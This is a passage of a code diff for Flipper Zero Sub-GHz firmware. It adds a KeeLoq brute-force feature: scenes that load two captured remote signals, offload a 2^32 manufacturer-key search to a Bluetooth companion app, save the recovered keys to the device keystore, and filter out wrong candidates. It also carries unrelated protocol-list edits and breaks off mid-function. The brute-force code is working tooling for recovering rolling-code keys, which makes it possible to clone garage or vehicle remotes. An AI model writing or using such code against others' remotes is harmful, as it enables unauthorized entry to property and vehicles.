kl_bf2_submenu_callback, subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu, label2, KlBf2IndexLoadSig2,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
int type_idx = 0;
|
||||
for(int i = 0; i < 4; i++) {
|
||||
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
|
||||
type_idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
submenu_add_item(
|
||||
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
|
||||
submenu_add_item(
|
||||
subghz->submenu, "Start BF", KlBf2IndexStartBf,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
}
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.learn_type = 0;
|
||||
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KlBf2IndexLoadSig1) {
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix, hop;
|
||||
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.fix = fix;
|
||||
subghz->keeloq_bf2.hop1 = hop;
|
||||
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
|
||||
subghz->keeloq_bf2.sig1_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
|
||||
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexLoadSig2) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Load Signal 1 first");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix2, hop2;
|
||||
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t serial2 = fix2 & 0x0FFFFFFF;
|
||||
if(serial2 != subghz->keeloq_bf2.serial) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Serial mismatch!\nMust be same remote");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(hop2 == subghz->keeloq_bf2.hop1) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.hop2 = hop2;
|
||||
subghz->keeloq_bf2.sig2_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexType) {
|
||||
uint8_t cur = subghz->keeloq_bf2.learn_type;
|
||||
if(cur == 0) cur = 6;
|
||||
else if(cur == 6) cur = 7;
|
||||
else if(cur == 7) cur = 8;
|
||||
else cur = 0;
|
||||
subghz->keeloq_bf2.learn_type = cur;
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexStartBf) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if(!subghz_key_load(
|
||||
subghz,
|
||||
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
|
||||
true)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot reload\nSignal 1");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
submenu_reset(subghz->submenu);
|
||||
}
|
||||
@@ -0,0 +1,299 @@
|
||||
#include "../subghz_i.h"
|
||||
#include "../helpers/subghz_txrx_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/subghz/environment.h>
|
||||
#include <lib/subghz/subghz_keystore.h>
|
||||
#include <furi.h>
|
||||
#include <bt/bt_service/bt.h>
|
||||
|
||||
#define KL_DECRYPT_EVENT_DONE (0xD2)
|
||||
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
#define KL_MSG_BF_REQUEST 0x10
|
||||
#define KL_MSG_BF_PROGRESS 0x11
|
||||
#define KL_MSG_BF_RESULT 0x12
|
||||
#define KL_MSG_BF_CANCEL 0x13
|
||||
|
||||
typedef struct {
|
||||
SubGhz* subghz;
|
||||
volatile bool cancel;
|
||||
uint32_t start_tick;
|
||||
bool success;
|
||||
FuriString* result;
|
||||
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t serial;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
|
||||
uint32_t hop2;
|
||||
|
||||
uint32_t candidate_count;
|
||||
uint64_t recovered_mfkey;
|
||||
uint16_t recovered_type;
|
||||
uint32_t recovered_cnt;
|
||||
|
||||
bool ble_offload;
|
||||
} KlDecryptCtx;
|
||||
|
||||
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
|
||||
KlDecryptCtx* ctx = context;
|
||||
if(size < 1 || ctx->cancel) return;
|
||||
|
||||
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
|
||||
uint32_t keys_tested, keys_per_sec;
|
||||
memcpy(&keys_tested, data + 2, 4);
|
||||
memcpy(&keys_per_sec, data + 6, 4);
|
||||
|
||||
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
|
||||
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
|
||||
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
|
||||
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
|
||||
|
||||
subghz_view_keeloq_decrypt_update_stats(
|
||||
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
|
||||
|
||||
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
|
||||
uint8_t found = data[1];
|
||||
|
||||
if(found == 1) {
|
||||
uint64_t mfkey = 0;
|
||||
uint32_t cnt = 0;
|
||||
memcpy(&mfkey, data + 2, 8);
|
||||
memcpy(&cnt, data + 18, 4);
|
||||
uint16_t learn_type = (size >= 27) ? data[26] : 6;
|
||||
|
||||
ctx->candidate_count++;
|
||||
ctx->recovered_mfkey = mfkey;
|
||||
ctx->recovered_type = learn_type;
|
||||
ctx->recovered_cnt = cnt;
|
||||
|
||||
subghz_view_keeloq_decrypt_update_candidates(
|
||||
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
|
||||
|
||||
} else if(found == 2) {
|
||||
ctx->success = (ctx->candidate_count > 0);
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
|
||||
if(!ctx->ble_offload) return;
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
bt_set_custom_data_callback(bt, NULL, NULL);
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = false;
|
||||
}
|
||||
|
||||
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
if(!bt_is_connected(bt)) {
|
||||
furi_record_close(RECORD_BT);
|
||||
return false;
|
||||
}
|
||||
|
||||
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
|
||||
|
||||
uint8_t req[18];
|
||||
req[0] = KL_MSG_BF_REQUEST;
|
||||
req[1] = ctx->subghz->keeloq_bf2.learn_type;
|
||||
memcpy(req + 2, &ctx->fix, 4);
|
||||
memcpy(req + 6, &ctx->hop, 4);
|
||||
memcpy(req + 10, &ctx->hop2, 4);
|
||||
memcpy(req + 14, &ctx->serial, 4);
|
||||
bt_custom_data_tx(bt, req, sizeof(req));
|
||||
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = true;
|
||||
|
||||
subghz_view_keeloq_decrypt_set_status(
|
||||
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
|
||||
return true;
|
||||
}
|
||||
|
||||
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
|
||||
memset(ctx, 0, sizeof(KlDecryptCtx));
|
||||
ctx->subghz = subghz;
|
||||
ctx->result = furi_string_alloc_set("No result");
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
ctx->fix = (uint32_t)(reversed >> 32);
|
||||
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
}
|
||||
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
|
||||
subghz_view_keeloq_decrypt_set_callback(
|
||||
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
|
||||
ctx->start_tick = furi_get_tick();
|
||||
|
||||
if(!kl_ble_start_offload(ctx)) {
|
||||
char msg[128];
|
||||
snprintf(msg, sizeof(msg),
|
||||
"No BLE connection!\n"
|
||||
"Connect companion app\n"
|
||||
"and try again.\n\n"
|
||||
"Fix:0x%08lX\nHop:0x%08lX",
|
||||
ctx->fix, ctx->hop);
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, msg);
|
||||
}
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
char key_name[24];
|
||||
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
|
||||
subghz_keeloq_keys_add(
|
||||
subghz->keeloq_keys_manager,
|
||||
ctx->recovered_mfkey,
|
||||
KEELOQ_LEARNING_SIMPLE,
|
||||
key_name);
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
|
||||
subghz->txrx->environment);
|
||||
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
|
||||
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
|
||||
entry->name = furi_string_alloc_set(key_name);
|
||||
entry->key = ctx->recovered_mfkey;
|
||||
entry->type = KEELOQ_LEARNING_SIMPLE;
|
||||
return true;
|
||||
|
||||
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
|
||||
kl_ble_cleanup(ctx);
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
|
||||
if(ctx->success) {
|
||||
furi_string_printf(
|
||||
ctx->result,
|
||||
"Found %lu candidate(s)\n"
|
||||
"Last: %08lX%08lX\n"
|
||||
"Type:%u Cnt:%04lX\n"
|
||||
"Saved to user keys",
|
||||
ctx->candidate_count,
|
||||
(uint32_t)(ctx->recovered_mfkey >> 32),
|
||||
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
|
||||
ctx->recovered_type,
|
||||
ctx->recovered_cnt);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
char mf_str[20];
|
||||
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
|
||||
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
|
||||
|
||||
uint32_t cnt_val = ctx->recovered_cnt;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
|
||||
|
||||
if(ctx->hop2 != 0) {
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
}
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
subghz_protocol_decoder_base_deserialize(
|
||||
subghz_txrx_get_decoder(subghz->txrx), fff);
|
||||
|
||||
const char* save_path = NULL;
|
||||
if(subghz_path_is_file(subghz->file_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->file_path);
|
||||
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
|
||||
}
|
||||
if(save_path) {
|
||||
subghz_save_protocol_to_file(
|
||||
subghz,
|
||||
subghz_txrx_get_fff_data(subghz->txrx),
|
||||
save_path);
|
||||
furi_string_set_str(subghz->file_path, save_path);
|
||||
}
|
||||
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
|
||||
} else if(!ctx->cancel) {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false,
|
||||
"Key NOT found.\nNo matching key in\n2^32 search space.");
|
||||
} else {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
|
||||
}
|
||||
return true;
|
||||
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
|
||||
if(ctx->ble_offload) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
|
||||
bt_custom_data_tx(bt, &cancel_msg, 1);
|
||||
furi_record_close(RECORD_BT);
|
||||
}
|
||||
ctx->cancel = true;
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
|
||||
if(ctx) {
|
||||
kl_ble_cleanup(ctx);
|
||||
ctx->cancel = true;
|
||||
furi_string_free(ctx->result);
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
|
||||
typedef struct {
|
||||
uint32_t serial;
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t hop2;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
size_t bf_indices[32];
|
||||
size_t bf_count;
|
||||
size_t valid_indices[32];
|
||||
size_t valid_count;
|
||||
} KlCleanupCtx;
|
||||
|
||||
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
|
||||
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
|
||||
if((dec >> 28) != btn) return false;
|
||||
uint16_t dec_disc = (dec >> 16) & 0x3FF;
|
||||
if(dec_disc == disc) return true;
|
||||
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
|
||||
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
|
||||
if(hop2 == 0) return true;
|
||||
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
|
||||
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
|
||||
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
|
||||
uint16_t cnt1 = dec1 & 0xFFFF;
|
||||
uint16_t cnt2 = dec2 & 0xFFFF;
|
||||
int diff = (int)cnt2 - (int)cnt1;
|
||||
return (diff >= 1 && diff <= 256);
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
|
||||
memset(ctx, 0, sizeof(KlCleanupCtx));
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
}
|
||||
|
||||
ctx->hop2 = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
|
||||
char bf_name[24];
|
||||
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
|
||||
|
||||
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
|
||||
ctx->bf_count = 0;
|
||||
ctx->valid_count = 0;
|
||||
|
||||
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
|
||||
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
|
||||
if(!k || !k->name) continue;
|
||||
const char* name = furi_string_get_cstr(k->name);
|
||||
if(strcmp(name, bf_name) == 0) {
|
||||
ctx->bf_indices[ctx->bf_count] = i;
|
||||
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
|
||||
ctx->valid_indices[ctx->valid_count++] = i;
|
||||
}
|
||||
ctx->bf_count++;
|
||||
}
|
||||
}
|
||||
|
||||
FuriString* msg = furi_string_alloc();
|
||||
|
||||
if(ctx->bf_count == 0) {
|
||||
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
|
||||
} else if(ctx->bf_count == 1) {
|
||||
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
|
||||
} else if(ctx->valid_count == 1) {
|
||||
size_t deleted = 0;
|
||||
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
|
||||
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
|
||||
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
furi_string_printf(msg,
|
||||
"Cleaned %u keys.\nKept valid key:\n%s",
|
||||
deleted, bf_name);
|
||||
} else if(ctx->valid_count == 0) {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys found\nbut none validates\nhop. Kept all.",
|
||||
ctx->bf_count);
|
||||
} else {
|
||||
furi_string_printf(msg,
|
||||
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
|
||||
ctx->bf_count, ctx->valid_count);
|
||||
}
|
||||
|
||||
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
|
||||
furi_string_free(msg);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
|
||||
UNUSED(context);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKlBfCleanup);
|
||||
if(ctx) {
|
||||
free(ctx);
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
|
||||
}
|
||||
|
||||
widget_reset(subghz->widget);
|
||||
}
|
||||
@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
|
||||
|
||||
if(state == SubGhzRxKeyStateExit) {
|
||||
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
|
||||
if(!furi_string_empty(subghz->file_path_tmp)) {
|
||||
subghz_delete_file(subghz);
|
||||
}
|
||||
}
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
if(!scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart)) {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
} else {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,53 +1,135 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/subghz_protocol_registry.h>
|
||||
|
||||
void subghz_scene_protocol_list_submenu_callback(void* context, uint32_t index) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
|
||||
}
|
||||
#define TAG "SubGhzSceneProtocolList"
|
||||
|
||||
void subghz_scene_protocol_list_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
/* ── helpers ──────────────────────────────────────────────────────────────── */
|
||||
|
||||
submenu_reset(subghz->submenu);
|
||||
|
||||
size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
|
||||
|
||||
char header_str[32];
|
||||
snprintf(header_str, sizeof(header_str), "Protocols: %zu", protocol_count);
|
||||
submenu_set_header(subghz->submenu, header_str);
|
||||
|
||||
for(size_t i = 0; i < protocol_count; i++) {
|
||||
const SubGhzProtocol* protocol =
|
||||
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
|
||||
if(protocol) {
|
||||
submenu_add_item(
|
||||
subghz->submenu,
|
||||
protocol->name,
|
||||
i,
|
||||
subghz_scene_protocol_list_submenu_callback,
|
||||
subghz);
|
||||
}
|
||||
}
|
||||
|
||||
submenu_set_selected_item(
|
||||
subghz->submenu,
|
||||
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
|
||||
}
|
||||
|
||||
bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneProtocolList, event.event);
|
||||
return true;
|
||||
static bool proto_filter_contains(const char* filter, const char* name) {
|
||||
const char* p = filter;
|
||||
while(*p) {
|
||||
const char* comma = strchr(p, ',');
|
||||
size_t len = comma ? (size_t)(comma - p) : strlen(p);
|
||||
if(len == strlen(name) && strncmp(p, name, len) == 0) return true;
|
||||
if(!comma) break;
|
||||
p = comma + 1;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void proto_filter_toggle(char* filter, size_t filter_size, const char* name) {
|
||||
if(proto_filter_contains(filter, name)) {
|
||||
/* remove it */
|
||||
char tmp[256] = {0};
|
||||
const char* p = filter;
|
||||
bool first = true;
|
||||
while(*p) {
|
||||
const char* comma = strchr(p, ',');
|
||||
size_t len = comma ? (size_t)(comma - p) : strlen(p);
|
||||
if(!(len == strlen(name) && strncmp(p, name, len) == 0)) {
|
||||
if(!first) strncat(tmp, ",", sizeof(tmp) - strlen(tmp) - 1);
|
||||
strncat(tmp, p, len < sizeof(tmp) - strlen(tmp) - 1 ? len : 0);
|
||||
first = false;
|
||||
}
|
||||
if(!comma) break;
|
||||
p = comma + 1;
|
||||
}
|
||||
strncpy(filter, tmp, filter_size - 1);
|
||||
filter[filter_size - 1] = '\0';
|
||||
} else {
|
||||
/* add it */
|
||||
if(filter[0] != '\0') strncat(filter, ",", filter_size - strlen(filter) - 1);
|
||||
strncat(filter, name, filter_size - strlen(filter) - 1);
|
||||
}
|
||||
}
|
||||
|
||||
/* ── callbacks ────────────────────────────────────────────────────────────── */
|
||||
|
||||
static void subghz_scene_protocol_list_item_changed(VariableItem* item) {
|
||||
SubGhz* subghz = variable_item_get_context(item);
|
||||
